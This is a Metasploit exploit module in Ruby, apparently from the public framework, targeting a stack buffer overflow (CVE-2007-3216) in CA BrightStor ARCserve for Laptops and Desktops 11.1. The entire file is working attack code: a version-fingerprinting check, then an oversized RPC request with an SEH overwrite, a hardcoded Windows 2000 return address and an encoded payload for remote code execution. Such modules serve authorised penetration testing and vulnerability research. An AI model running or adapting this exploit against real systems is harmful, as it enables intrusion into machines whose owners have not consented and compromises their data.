##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
        for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
        an attacker could overflow the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3216' ],
          [ 'OSVDB', '35329' ],
          [ 'BID', '24348' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75022ac4 } ],
        ],
      'DisclosureDate' => 'Jun 6 2007',
      'DefaultTarget' => 0))

    register_options([ Opt::RPORT(1900) ], self.class)
  end

  def check

    connect

    sock.put("0000000019rxrGetServerVersion")
    ver = sock.get_once

    disconnect

    if ( ver and ver =~ /11\.1\.742/ )
        return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe

  end

  def exploit

    connect

    rpc_commands = [
        "rxsAddNewUser",
        "rxsSetUserInfo",
        "rxsRenameUser",
        "rxsExportData",
        "rxcReadSaveSetProfile",
        "rxcInitSaveSetProfile",
        "rxcAddSaveSetNextAppList",
        "rxcAddSaveSetNextFilesPathList"
      ]

    rpc_command = rpc_commands[rand(rpc_commands.length)]

    data = rand_text_alpha_upper(62768)

    data[58468,8] = generate_seh_record(target.ret)
    data[58476,payload.encoded.length] = payload.encoded

    sploit  = "0000062768"				# Command Length Field
    sploit << rpc_command				# RPC Command
    sploit << "~~"					# Constant Argument Delimiter
    sploit << data

    print_status("Trying target #{target.name} with command '#{rpc_command}'...")
    sock.put(sploit)

    handler
    disconnect

  end

end